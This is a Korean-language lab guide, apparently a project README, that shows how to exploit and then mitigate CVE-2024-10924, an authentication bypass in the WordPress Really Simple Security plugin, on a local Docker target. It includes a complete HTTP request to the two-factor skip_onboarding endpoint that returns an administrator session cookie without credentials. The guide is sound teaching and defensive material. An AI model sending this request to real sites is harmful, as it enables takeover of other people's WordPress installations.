CVE-2024-10924 - Really Simple Security의 인증 우회

개요

이 프로젝트는 WordPress "Really Simple Security" 플러그인의 치명적인 인증 우회 취약점인 CVE-2024-10924의 악용 및 완화를 시연합니다.

1단계: 환경 설정

취약한 WordPress 환경을 시작합니다: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

컨테이너가 실행 중인지 확인합니다: docker ps

WordPress에 접속합니다: http://localhost:1337

필요한 도구:

• Python 3.x (자동화된 악용용)
• Burp Suite (수동 악용용)
• GVM (Greenbone Vulnerability Management) - 스캔용

2단계: 취약점 스캔

대상에 대해 GVM 스캔을 실행합니다:

• 대상: http://localhost:1337
• 예상 결과: CVE-2024-10924 탐지
• 심각도: 치명적(CVSS 9.8)
• 취약한 엔드포인트: /reallysimplessl/v1/two_fa/skip_onboarding

3단계: 악용

방법 A - 자동화된 Python 악용: python exploit.py

방법 B - 수동 Burp Suite:

1. http://localhost:1337로 가는 트래픽을 인터셉트합니다.

2. POST 요청을 전송합니다: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. 관리자 세션을 포함한 Set-Cookie 헤더가 있는 응답을 확인합니다.

예상 결과:

• 상태: 200 OK
• 관리자 세션 쿠키 반환
• 자격 증명 없이 성공적으로 우회

4단계: 완화

취약한 엔드포인트를 차단하기 위해 패치를 적용합니다: .\patch.ps1

이 작업의 기능:

• mitigation.php를 컨테이너의 /wp-content/mu-plugins/에 복사합니다.
• 취약한 REST API 엔드포인트에 대한 모든 요청을 차단합니다.
• 악용 시도에 대해 403 Forbidden을 반환합니다.

5단계: 검증

악용을 다시 실행합니다(방법 A 또는 B): python exploit.py

완화 후 예상 결과:

• 상태: 403 Forbidden